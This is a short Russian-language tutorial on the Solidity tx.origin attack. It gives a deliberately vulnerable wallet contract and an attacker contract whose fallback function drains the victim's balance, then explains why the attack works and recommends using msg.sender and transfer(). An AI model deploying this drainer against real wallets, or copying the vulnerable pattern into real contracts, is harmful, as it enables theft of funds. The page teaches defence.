[Blockchain] Tx.origin attack

[Blockchain] Tx.origin attack


Где можно допустить ошибку?

  • При использовании перевода эфира через address.call.value(amount)()
  • Идентификация владельца контракта через tx.origin

TxOriginVictim - контракт-кошелёк

pragma solidity ^0.4.18;

contract TxOriginVictim {
address owner;

function TxOriginVictim() {
  owner = msg.sender;
}
function transferTo(address to, uint amount) public {
  require(tx.origin == owner);
  to.call.value(amount)();
}
function() payable public {}}

TxOriginAttacker - контракт атакующего

pragma solidity ^0.4.18;

interface TxOriginVictim {
  function transferTo(address to, uint amount);
}
contract TxOriginAttacker {
address owner;

function TxOriginAttacker() public {
  owner = msg.sender;
}
function getOwner() public returns (address) {
  return owner;
}
function() payable public {
  TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance);
}
}


Как это работает:

  1. Пользователь переводит средства со своего контракта на адрес контракта атакующего
  2. Эфир попадает в контракт атакующего и вызывается callback функция
    TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance);
  3. Команды в этой функции будут "представляться" как TxOriginVictim, используя его адрес из msg.sender чтобы перевести все средства
    message.sender.balance владельцу TxOriginAttacker контракта
  4. Это работает благодаря тому, что в контракте TxOriginVictim мы проверяем tx.origin, а не msg.sender
  5. tx.origin - отправитель транзакции, а msg.sender - непосредственный отправитель
  6. Злоумышленнику ничего не мешает отправить себе всю оставшуюся сумму с контракта отправителя

Решение:

  1. Никогда не используйте tx.origin вместо msg.sender при идентификации отправителя
  2. Никогда не используйте address.call.value(amount)(); вместо address.transfer()
  3. address.transfer() будет обладать газом = 2300, что означает, что у возможных контрактов на атаку не хватит газа для дальнейших вычислений, кроме испускания событий
  4. Также address.transfer() выкинет ошибку

Report Page